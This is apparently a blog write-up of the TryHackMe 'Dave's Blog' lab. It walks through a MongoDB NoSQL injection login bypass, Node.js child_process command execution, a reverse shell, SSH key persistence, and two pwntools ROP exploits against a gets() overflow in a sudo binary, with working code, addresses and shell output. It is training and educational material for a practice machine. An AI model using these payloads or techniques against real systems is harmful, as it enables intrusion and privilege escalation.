TryHackMe Dave’s Blog Writeup
DAVE'S BLOG WALKTHROUGH
Dave’s Blog is a room over at TryHackMe with a hard difficulty rating. Dave is ready to show his blog to the world, but he forgot to properly secure his super secret admin panel. After some NoSQL injection to bypass the admin login page, we’re able to send off code that is executed by a Node.JS runtime hosted on the server. The final step to root involves exploiting a binary in one of many possible ways thanks to return-oriented programming.
ENUMERATION
A port scan reveals three targets: an open SSH port, a nginx server running on port 80 and an Express server on port 3000. The website on port 80 shows a blog entry by none other than the man himself. He talks about his excitement to kickstart his blog and his fondness of NoSQL databases.

Dave surely seems ecstatic about his database choice
Nmap reveals another path on the server called admin
which shows a login panel. The site comes with some embedded JavaScript that hints at how authentication might be handled. Dave spoke about NoSQL so my first guess was that he might be storing in a MongoDB instance.

I tried to register but Dave wouldn’t let me
BLIND FAITH
MongoDB is susceptible to NoSQL injection if inputs from users are blindly trusted. There is a vast array of payloads available for MongoDB and I opted for the one that had already worked out for me on another machine similar to this one. Basically, for every field you want to query, you can define special properties that perform logical operations as opposed to exact matches. The payload that I chose tries to match with any field whose content is greater than … nothing, an empty string. It’ll match with any user record stored in the database should the server not sanitize inputs properly. I copied the embedded script, adjusted it and pasted the following into the browser console and was promptly redirected.
fetch('', {method: 'POST',headers: {'Content-Type': 'application/json',},body: JSON.stringify({username: { "$gt": "" },password: { "$gt": "" }})}).then(() => {location.reload();})
I noticed that the website stored a cookie in my browser. The cookie’s name is jwt
and its format made it clear to me that this is a JSON web token. This one can be easily decoded to yield the first flag out of many.

Decoding JWT on jwt.io, pixelated so you still have something to do
After successfully logging in, I was forwarded to a text area with a button next to it labelled “exec” and a greyed out area beneath. I knew I could probably execute code in there, and since the website was built using Express, I assumed I could enter JavaScript to execute it in a Node.JS runtime behind the scenes. A bit of fiddling led me to use a self-executing function.
// this makes foobar appear in the output panel(() => { return "foobar"; })();
Anything that I return within the function will be shown in the output panel. And since Node.JS is being used to execute the code that I enter, I can import its standard modules. The child_process
module allows me to spawn processes on the host and to return the results back to me. My first experiment was to just call echo
and it worked just fine.
// the timeout is to kill processes that take too long to finish
(() => { return require("child process").execSyn("echo test;", { timeout: 5000 }); })();

One of the few servers to say hello back to me
My next step was to execute a Bash reverse shell on the host. I grabbed a payload from Pentestmonkey and set up a listener on my local machine. I dispatched the payload and I found myself in Dave’s account. The next flag can be found in his home directory.
kali@kali:~$ nc -lnvp 4444listening on [any] 4444 ...connect to [###.###.###.###] from (UNKNOWN) [###.###.###.###] 57846/bin/sh: 0: can't access tty; job control turned off$ id; pwd;uid=1000(dave) gid=1000(dave) groups=1000(dave)/home/dave/blog$ cd$ ls -altotal 44drwxr-xr-x 5 dave dave 4096 May 22 13:32 .drwxr-xr-x 3 root root 4096 May 21 20:27 ..lrwxrwxrwx 1 dave dave 9 May 21 20:29 .bash_history -> /dev/null-rw-r--r-- 1 dave dave 220 May 21 20:27 .bash_logout-rw-r--r-- 1 dave dave 3771 May 21 20:27 .bashrcdrwxr-xr-x 9 dave dave 4096 Oct 15 16:26 blogdrwxrwxr-x 3 dave dave 4096 May 21 20:38 .localdrwxrwxr-x 94 dave dave 4096 May 21 20:34 .npm-rw-r--r-- 1 dave dave 807 May 21 20:27 .profile-rw-rw-r-- 1 dave dave 66 May 21 20:38 .selected_editor-rwxr-xr-x 1 root root 137 May 22 13:32 startup.sh-rw-rw-r-- 1 dave dave 38 May 21 20:45 user.txt$ cat user.txtTHM{################################}
A COMMAND THAT ASKS FOR TROUBLE
It didn’t take me long to find my path to the root user. Simply typing in sudo -l
made it clear where I was headed next: a binary in the root of the file system called uid_checker
.
$ sudo -lMatching Defaults entries for dave on daves-blog:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser dave may run the following commands on daves-blog:(root) NOPASSWD: /uid_checker
There was another flag waiting to be found though. Since the server was running a MongoDB instance, I wanted to check if there was anything else of value hidden in there. And sure enough, by connecting to the daves-blog
database I was able to find a document collection with a very inviting name. Third flag acquired.
$ mongoMongoDB shell version v3.6.3connecting to: mongodb://127.0.0.1:27017MongoDB server version: 3.6.3Welcome to the MongoDB shell.For interactive help, type "help".> show dbsadmin 0.000GBconfig 0.000GBdaves-blog 0.000GBlocal 0.000GB> use daves-blogswitched to db daves-blog> show collectionspostsuserswhatcouldthisbes> db.whatcouldthisbes.find(){ "_id" : ObjectId("5ec6e5cf1dc4d364bf864108"), "whatCouldThisBe" : "THM{################################}", "__v" : 0 }
After that, I swiftly made my way to the ominous binary file and executed it to see what it was about. The “UID checker” shows either the user’s UID or GID, depending on whether they enter 1 or 2 when prompted for an input. My gut instinct told me that this could probably be exploited, so I transferred the binary over to my local machine to examine it a little bit closer.
$ ./uid_checkerWelcome to the UID checker!Enter 1 to check your UID or enter 2 to check your GID1Your UID is: 1000
ROP TO ROOT
I first loaded the binary into Ghidra to see what it does under the surface. Before I located the main
function, I ran a quick string search and found the fourth flag. Quick and simple.

The oldest trick in any reverse engineering book
I noticed that the main
function is using gets
to read strings from the standard input. If there’s anything you should know about gets
, then it is to never ever use it because it is easily susceptible to malicious inputs. Here, the input is read into a 72-byte long array. This is just begging to have a large input thrown at it.
void main(void){// code shortened for brevitychar arg0 [72];puts("Welcome to the UID checker!\nEnter 1 to check your UID or enter 2 to check your GID");gets(arg0);// lots more stuff down here}
Not only that, but there’s also a function named secret
in the binary which is never called. When executed, it pops a shell, and since I can prepend sudo
on the command line, it’ll be a root shell. So the goal is clear: craft some malicious input to somehow get a root shell.
I then ran the binary using GDB. The outputs are quite large since I’m using pwndgb which outputs a lot of extra info. I shortened some snippets you’re about to see. First off, I had to find out just how much input I need to be able to write values onto the call stack.
pwndbg> r < <(cyclic 100)Starting program: /home/kali/THM/dave/uid_checker < <(cyclic 100)Welcome to the UID checker!Enter 1 to check your UID or enter 2 to check your GIDInvalid choiceProgram received signal SIGSEGV, Segmentation fault.0x000000000040079d in main ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA──────────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────────RAX 0xfRBX 0x0RCX 0x7ffff7eddff3 (write+19) ◂— cmp rax, -0x1000 /* 'H=' */RDX 0x0RDI 0x7ffff7fb0670 (_IO_stdfile_1_lock) ◂— 0x0RSI 0x6022a0 ◂— 'Invalid choice\nk your UID or enter 2 to check your GID\n'R8 0xfR9 0x7ffff7f2e9d0 (__memcpy_ssse3+9680) ◂— mov rcx, qword ptr [rsi - 0xe]R10 0xfffffffffffff40cR11 0x246R12 0x4005c0 (_start) ◂— xor ebp, ebpR13 0x0R14 0x0R15 0x0RBP 0x6161617661616175 ('uaaavaaa')RSP 0x7fffffffdf38 ◂— 'waaaxaaayaaa'RIP 0x40079d (main+215) ◂— ret
As can be seen in rsp
, the last value on the stack before the program broke was waaa
. I fed it back into pwntools to find out how many characters I need to force my input onto the stack.
kali@kali:~$ cyclic -l waaa88
However, there’s one more thing to mention before I talk about the exploit that I used. Some security features are enabled for this binary. And by “some”, I mean executable stack protection (NX). This means I can’t just put my own code onto the stack and expect it to work. Fortunately, there’s no ASLR and no stack canary enabled, so this makes exploit development a little easier.
pwndbg> checksec[*] '/home/kali/THM/dave/uid_checker'Arch: amd64-64-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x400000)
Disclaimer. I didn’t have a good grasp on return-oriented programming when I first worked on this challenge. I checked existing writeups, tried to do my research to understand how they work and then went about attempting it myself. For anyone who shares a similar fate, I can only recommend LiveOverflow’s video Introducing Weird Machines: ROP Differently Explaining to understand how ROP “feels”. Also, big shoutouts to @ryaagard on the TryHackMe Discord server for giving me feedback on my understanding of the exploit.
I’m going to try my best to explain two different exploits: the one that I tried to understand and the one that I came up with that ended up being a lot easier than I initially thought.
POP, POP AND THEN SOME MAGIC
You may have already seen this exploit if you checked out any of the other existing writeups. I’m going to let the code sink in and then pull it apart to show what makes it work.
from pwn import *cyclic_len = 88payload = cyclic(cyclic_len)payload += p64(0x400803) # pop rdi; ret;payload += p64(0x601000) # .bsspayload += p64(0x4005b0) # gets()payload += p64(0x400803) # pop rdi; ret;payload += p64(0x601000) # .bsspayload += p64(0x400570) # system()s = ssh(host='dave.thm', user='dave', keyfile='./id_rsa')p = s.process([ "sudo", "/uid_checker"])# Wait for first inputp.recv()p.sendline(payload)# Wait for gets() in rop chainp.recv()p.sendline("/bin/sh")# enter shellp.interactive()
On the surface, this exploit overwrites the call stack so when the main function returns, it looks up the next address on the stack which I now have control over. First, it pops a memory address that points to the binary’s bss section off the stack and into the rdi
register. The following call to gets
is where the string /bin/sh
is sent to standard input. I chose the bss memory address arbitrarily since I only need to make sure it points to a bit of memory that I can read to and write from. This can be verified with the binary’s virtual memory map.
pwndbg> vmmapLEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA0x400000 0x401000 r-xp 1000 0 /home/kali/THM/dave/uid_checker0x600000 0x601000 r--p 1000 0 /home/kali/THM/dave/uid_checker0x601000 0x602000 rw-p 1000 1000 /home/kali/THM/dave/uid_checker
After that, it loads the same address into rdi
again to call system
later. system
loads its argument from the content of the rdi
register which was just set to /bin/sh
, thereby granting access to a privileged shell.
There is a neat trick that I didn’t know about until very late into my research. The opcode for pop r15
is 41 5f
whereas the opcode for pop rdi
is 5f
. pop rdi
is a gadget to pop the next address on the stack into the rdi
register. rdi
usually points to some memory which acts as a destination for string-based operations like gets
.
Knowing what the opcodes look like, it’s easy to turn a pop r15
into a pop rdi
by just incrementing the memory address by one byte. In the binary, you’ll find that the instructions located at 0x400802
are actually pop r15 ret
. If I instead point execution to 0x400803
, I get a pop rdi ret
.
In order to use the exploit remotely, I had to create an SSH key on Dave’s account, attach the public key to his authorized_keys
file and send the identity file to my local machine. For this to work, you might have to upgrade your reverse shell.
$ ssh-keygenGenerating public/private rsa key pair.Enter file in which to save the key (/home/dave/.ssh/id_rsa):Enter passphrase (empty for no passphrase):Enter same passphrase again:Created directory '/home/dave/.ssh'.Your identification has been saved in /home/dave/.ssh/id_rsa.Your public key has been saved in /home/dave/.ssh/id_rsa.pub.The key fingerprint is:SHA256:JQyWdFWJ3/7cGSTkXI5ePu0zUc17+JON9qlrF+WtbPY dave@daves-blogThe key's randomart image is:+---[RSA 2048]----+| .+....o.. || ..+ . .. . || o ..+.+..|| o .=.+=|| S ..=o*|| .oB=|| . B@|| .BBO|| .*++E|+----[SHA256]-----+$ cd .ssh$ cat id_rsa.pub > authorized_keys$ python -c 'import pty; pty.spawn("/bin/sh")'$ scp id_rsa kali@###.###.###.###:~scp id_rsa kali@###.###.###.###:~The authenticity of host '###.###.###.### (###.###.###.###)' can't be established.ECDSA key fingerprint is SHA256:###########################################.Are you sure you want to continue connecting (yes/no)?Warning: Permanently added '###.###.###.###' (ECDSA) to the list of known hosts.kali@###.###.###.###'s password:id_rsa 100% 1675 31.5KB/s 00:00
I executed the script and finally found myself in a root shell on the remote host. The final flag is located in the root home directory.
kali@kali:~/THM/dave$ python3 rop.py[+] Connecting to dave.thm on port 22: Done[*] dave@dave.thm:Distro Ubuntu 18.04OS: linuxArch: amd64Version: 4.15.0ASLR: Enabled[+] Starting remote process 'sudo' on dave.thm: pid 2302[*] Switching to interactive modeEnter 1 to check your UID or enter 2 to check your GIDInvalid choice# $ id; pwd;uid=0(root) gid=0(root) groups=0(root)/home/dave# $ cd /root# $ ls -altotal 48drwx------ 6 root root 4096 May 22 13:32 .drwxr-xr-x 24 root root 4096 May 21 20:28 ..lrwxrwxrwx 1 root root 9 May 21 20:30 .bash_history -> /dev/null-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrcdrwx------ 2 root root 4096 May 21 20:26 .cache-rw------- 1 root root 161 May 21 20:48 .dbshelldrwx------ 3 root root 4096 May 21 20:26 .gnupgdrwxr-xr-x 3 root root 4096 May 21 20:26 .locallrwxrwxrwx 1 root root 9 May 21 20:46 .mongorc.js -> /dev/null-rw-r--r-- 1 root root 148 Aug 17 2015 .profile-r-------- 1 root root 38 May 21 20:57 root.txt-rw-r--r-- 1 root root 66 May 21 20:44 .selected_editor-rw-r--r-- 1 root root 87 May 22 13:31 setup.shdrwx------ 2 root root 4096 May 21 17:48 .ssh# $ cat root.txtTHM{################################}
HIDDEN IN PLAIN SIGHT
I mentioned a second solution which I came up with while fiddling with different ROP chains. Prepare yourself, because I was wondering how I didn’t come up with this in the first place.
from pwn import *cyclic_len = 88payload = cyclic(cyclic_len)payload += p64(0x4006b7) # lea rdi *"/bin/sh"; system();s = ssh(host='dave.thm', user='dave', keyfile='./id_rsa')p = s.process([ "sudo", "/uid_checker"])# Wait for inputp.recv()p.sendline(payload)# enter shellp.interactive()
Inside the secret
function, there’s a lea rdi
instruction right before the call to system
. It loads the address of the /bin/sh
string contained within the binary into rdi
. Makes sense since if I were to use system("/bin/sh")
in my code, the compiler would have to load the string into a register where the system
function can easily find it. That just so happens to be the rdi
register. This one can be executed the exact same way as the other exploit, just with fewer lines of code.
CONCLUSION
This machine finally forced me to learn about ROP and I loved it. It’s hard to wrap your head around but it makes a lot of sense, and there’s still lots of ground for me to cover. Other than that, this machine was fairly straightforward. The last part definitely took me the longest.